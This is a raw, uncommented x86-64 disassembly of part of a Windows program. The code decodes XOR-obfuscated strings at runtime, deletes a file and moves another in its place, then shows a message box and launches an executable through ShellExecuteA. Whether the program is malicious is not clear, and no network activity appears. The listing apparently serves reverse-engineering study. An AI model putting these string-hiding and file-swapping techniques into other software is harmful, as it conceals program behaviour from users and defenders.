movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
mov byte [rsp + 0x60], 0
lea rdx, [0x1400d3e78]
cmp qword [0x1400d3e90], 0xf
cmova rdx, qword [0x1400d3e78]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
call fcn.140061a60
test al, al
jne 0x1400655b3
movdqa xmm0, xmmword [0x1400c0890]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0xf7f3f8fe
mov dword [rbp - 0x5c], 0x9fbff9f9
movd xmm1, dword [rbp - 0x80]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x70], xmm1
movd xmm1, dword [rbp + 0x70]
movd xmm0, dword [rbp - 0x6c]
xorps xmm1, xmm0
movd dword [rbp - 0x6c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rbp - 0x68]
xorps xmm2, xmm0
movd dword [rbp - 0x68], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rbp - 0x64]
xorps xmm1, xmm0
movd dword [rbp - 0x64], xmm1
movd xmm2, dword [rbp + 0x80]
movd xmm0, dword [rbp - 0x60]
xorps xmm2, xmm0
movd dword [rbp - 0x60], xmm2
lea rcx, [rbp - 0x5c]
lea eax, [r15 - 0x78]
xor byte [rcx], al
inc r15d
lea rcx, [rcx + 1]
cmp r15d, 0x17
jb 0x140065522
mov byte [rbp - 0x59], 0
lea rax, [rbp - 0x70]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140065540
lea rdx, [rbp - 0x70]
mov r8, rdi
lea rcx, [0x1400d3e18]
call fcn.140077ad0
nop
lea rcx, [rbp + 0xf0]
call fcn.140077420
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140064ebb
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064eb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066211
jmp 0x140064eb6
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x290]
call fcn.14008eae4
mov rcx, qword [rbp + 0xf0]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x1400655db
mov rcx, qword [rcx]
call fcn.140090034
cmp dword [rbp + 0x164], eax
je 0x1400656a3
movdqa xmm0, xmmword [0x1400c0d40]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xf4f9b9f9
mov dword [rsp + 0x5c], 0xefebefee
mov dword [rsp + 0x60], 0xcdcdc8d4
mov word [rsp + 0x64], 0xa585
movd xmm1, dword [rbp - 0x80]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
movd xmm1, dword [rbp + 0x70]
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
lea rcx, [rsp + 0x58]
lea eax, [r14 - 0x78]
xor byte [rcx], al
inc r14d
lea rcx, [rcx + 1]
cmp r14d, 0x1d
jb 0x140065670
mov byte [rsp + 0x65], 0
lea rax, [rsp + 0x48]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140065690
lea rdx, [rsp + 0x48]
jmp 0x14006554d
mov dword [rbp - 0x50], 0x786f62
lea r8, [rbp - 0x50]
mov edx, 0x104
lea rcx, [rbp + 0x290]
call fcn.14004cd20
mov r8d, 0x104
lea rdx, [rbp + 0x5c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x5c0]
call fcn.14008eae4
mov rcx, qword [rbp + 0xf0]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x1400656fc
mov rcx, qword [rcx]
call fcn.140090034
cmp dword [rbp + 0x164], eax
je 0x140065dd3
movdqa xmm0, xmmword [0x1400c0f30]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0xe6b8fcec
mov r14d, dword [rbp - 0x80]
movd xmm1, r14d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x70], xmm1
mov r15d, dword [rbp + 0x70]
movd xmm1, r15d
movd xmm0, dword [rbp - 0x6c]
xorps xmm1, xmm0
movd dword [rbp - 0x6c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rbp - 0x68]
xorps xmm2, xmm0
movd dword [rbp - 0x68], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rbp - 0x64]
xorps xmm1, xmm0
movd dword [rbp - 0x64], xmm1
movd xmm2, dword [rbp + 0x80]
movd xmm0, dword [rbp - 0x60]
xorps xmm2, xmm0
movd dword [rbp - 0x60], xmm2
mov byte [rbp - 0x5c], 0
xor r9d, r9d
lea r8, [rbp - 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x3a0]
call fcn.14004cd20
lea rax, [rbp - 0x30]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
lea rax, [rbp + 0x290]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400657d0
lea rdx, [rbp + 0x290]
lea rcx, [rbp - 0x30]
call fcn.140079350
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140065816
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.140079350
movdqa xmm0, xmmword [0x1400c0e40]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xf5edf6dc
mov dword [rsp + 0x5c], 0xfaf2f4da
movd xmm1, r14d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
movd xmm1, r15d
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
movd xmm2, dword [rbp + 0x80]
movd xmm0, dword [rsp + 0x58]
xorps xmm2, xmm0
movd dword [rsp + 0x58], xmm2
mov eax, dword [0x1400bff00]
movd xmm2, eax
movd xmm0, r13d
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
mov byte [rsp + 0x60], 0
cmp qword [0x1400d3e90], 0xf
lea rdx, [0x1400d3e78]
cmova rdx, qword [0x1400d3e78]
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x3a0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x48]
call fcn.140061a60
test al, al
jne 0x140065ae2
movdqa xmm0, xmmword [0x1400c1010]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1400c0bb0]
movdqu xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x1400c0960]
movdqu xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x1400c0800]
movdqu xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x1400c0810]
movdqu xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x1400c0650]
movdqu xmmword [rbp + 0x20], xmm1
mov dword [rbp + 0x30], 0xcb9e9a8d
mov dword [rbp + 0x34], 0x83818298
mov word [rbp + 0x38], 0xd083
mov byte [rbp + 0x3a], 0xf2
lea r9, [rbp - 0x28]
nop dword [rax]
movd xmm1, ebx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm1, xmm0
movd dword [r9 - 8], xmm1
lea eax, [rsi - 1]
lea ecx, [rsi - 2]
lea edx, [rsi - 3]
lea r8d, [rsi - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, esi
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [rsi + 7]
lea ecx, [rsi + 6]
lea edx, [rsi + 5]
lea r8d, [rsi + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add ebx, 0x10
add esi, 0x10
lea r9, [r9 + 0x10]
cmp esi, 0x68
jb 0x140065990
cmp ebx, 0x6a
jae 0x140065ac0
mov eax, ebx
lea rcx, [rbp - 0x30]
add rcx, rax
nop dword [rax]
lea eax, [rbx - 0x78]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x6a
jb 0x140065ab0
mov byte [rbp + 0x3a], 0
lea rax, [rbp - 0x30]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140065ad0
lea rdx, [rbp - 0x30]
jmp 0x14006554d
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x290]
call fcn.14008eae4
mov rcx, qword [rbp + 0xf0]
add rcx, 0x40
cmp qword [rcx + 0x18], 0xf
jbe 0x140065b0a
mov rcx, qword [rcx]
call fcn.140090034
cmp dword [rbp + 0x164], eax
jne 0x140065e28
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rbx
mov qword [rbp + 0x148], rbx
lea rax, [rbp + 0x5c0]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140065b40
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x130]
call fcn.140079350
nop
lea rsi, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rsi, qword [rbp + 0x130]
mov r13, qword [rbp + 0x140]
test r13, r13
je 0x140065c0d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
mov qword [rbp + 0x1e0], rax
mov dword [rbp + 0x1e8], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x1ed]
call fcn.1400aa330
mov byte [rbp + 0x1ec], 1
lea rax, [r13 - 1]
mov rcx, rdi
cmp rax, rdi
cmovb rcx, rax
add rcx, rsi
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x190], 0
jne 0x140065c08
cmp rcx, rsi
je 0x140065c0d
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x190], 0
je 0x140065bf3
sub rcx, rsi
jmp 0x140065c10
mov rcx, rdi
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa0], xmm1
movsxd r8, ecx
cmp r13, r8
cmovb r8, r13
lea rdx, [rbp + 0x130]
cmp qword [rbp + 0x148], 0xf
cmova rdx, qword [rbp + 0x130]
lea rcx, [rbp + 0x90]
call fcn.140079350
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140065c93
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065c8e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006622f
call fcn.14007b234
movups xmm0, xmmword [rbp + 0x90]
movups xmmword [rbp + 0x130], xmm0
movups xmm1, xmmword [rbp + 0xa0]
movups xmmword [rbp + 0x140], xmm1
lea r9, [rbp + 0x130]
movq rcx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0xf
cmova r9, rcx
movdqa xmm0, xmmword [0x1400c06e0]
movdqu xmmword [rbp - 0x40], xmm0
movd xmm1, r14d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x40], xmm1
movd xmm1, r15d
movd xmm0, dword [rbp - 0x3c]
xorps xmm1, xmm0
movd dword [rbp - 0x3c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rbp - 0x38]
xorps xmm2, xmm0
movd dword [rbp - 0x38], xmm2
lea rcx, [rbp - 0x34]
nop word [rax + rax]
lea eax, [r12 - 0x78]
xor byte [rcx], al
inc r12d
lea rcx, [rcx + 1]
cmp r12d, 0xf
jb 0x140065d20
mov byte [rbp - 0x31], 0
lea r8, [rbp - 0x40]
mov edx, 0x104
lea rcx, [rbp + 0x4b0]
call fcn.14004cd20
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140060860
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x4b0]
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x140066235
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140065dd3
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065dcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066205
call fcn.14007b234
nop
lea rcx, [rbp + 0xf0]
call fcn.140077420
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140065e21
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065e1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066211
call fcn.14007b234
mov al, 1
jmp 0x140064ebd
movdqa xmm0, xmmword [0x1400c1010]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1400c0bb0]
movdqu xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x1400c0960]
movdqu xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x1400c0800]
movdqu xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x1400c0810]
movdqu xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x1400c0650]
movdqu xmmword [rbp + 0x20], xmm1
mov dword [rbp + 0x30], 0xcb9e9a8d
mov dword [rbp + 0x34], 0x83818298
mov word [rbp + 0x38], 0xd083
mov byte [rbp + 0x3a], 0xf2
lea r9, [rbp - 0x28]
nop dword [rax]
nop word [rax + rax]
movd xmm1, ebx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm1, xmm0
movd dword [r9 - 8], xmm1
lea eax, [rsi - 1]
lea ecx, [rsi - 2]
lea edx, [rsi - 3]
lea r8d, [rsi - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, esi
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [rsi + 7]
lea ecx, [rsi + 6]
lea edx, [rsi + 5]
lea r8d, [rsi + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add ebx, 0x10
add esi, 0x10
lea r9, [r9 + 0x10]
cmp esi, 0x68
jb 0x140065ea0
cmp ebx, 0x6a
jae 0x140065fd0
mov eax, ebx
lea rcx, [rbp - 0x30]
add rcx, rax
nop dword [rax]
lea eax, [rbx - 0x78]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x6a
jb 0x140065fc0
mov byte [rbp + 0x3a], 0
lea rax, [rbp - 0x30]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140065fe0
mov r8, rdi
lea rdx, [rbp - 0x30]
lea rcx, [0x1400d3e18]
call fcn.140077ad0
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x14006555d
movdqa xmm0, xmmword [0x1400c0f60]
movdqu xmmword [rbp + 0x150], xmm0
movdqa xmm1, xmmword [0x1400c09b0]
movdqu xmmword [rbp + 0x160], xmm1
movdqa xmm0, xmmword [0x1400c0a10]
movdqu xmmword [rbp + 0x170], xmm0
mov word [rbp + 0x180], 0xb999
mov esi, 8
lea r9, [rbp + 0x158]
movdqa xmm4, xmmword [0x1400c0010]
mov r10d, dword [rbp - 0x70]
nop
movd xmm1, ebx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r10d
psubb xmm1, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm1, xmm0
movd dword [r9 - 8], xmm1
lea eax, [rsi - 1]
lea ecx, [rsi - 2]
lea edx, [rsi - 3]
lea r8d, [rsi - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r10d
psubb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, esi
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r10d
psubb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [rsi + 7]
lea ecx, [rsi + 6]
lea edx, [rsi + 5]
lea r8d, [rsi + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r10d
psubb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add ebx, 0x10
add esi, 0x10
lea r9, [r9 + 0x10]
cmp esi, 0x38
jb 0x140066060
cmp ebx, 0x31
jae 0x140066190
mov eax, ebx
lea rcx, [rbp + 0x150]
add rcx, rax
nop dword [rax]
lea eax, [rbx - 0x78]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x31
jb 0x140066180
mov byte [rbp + 0x181], 0
lea rax, [rbp + 0x150]
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400661a0
mov r8, rdi
lea rdx, [rbp + 0x150]
lea rcx, [0x1400d3e18]
call fcn.140077ad0
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140064ebb
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064eb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066217
jmp 0x140064eb6
call fcn.140090bec
nop
call fcn.140090bec
int3
call fcn.140090bec
int3
call fcn.140090bec
nop
call fcn.140090bec
nop
call fcn.140090bec
nop
call fcn.140090bec
nop
call fcn.140090bec
int3
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x68]
call fcn.140066370
mov rcx, rax
call fcn.140075a30
mov r11, rax
lea rdx, [rbp - 0x30]
call fcn.1400662c0
mov rcx, rax
call fcn.140075a60
mov r9d, 0x40
mov r8, r11
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rsp + 0x40]
call fcn.140066390
mov rcx, rax
call fcn.140075c00
mov rdx, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0x4b0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call fcn.14008daec
int3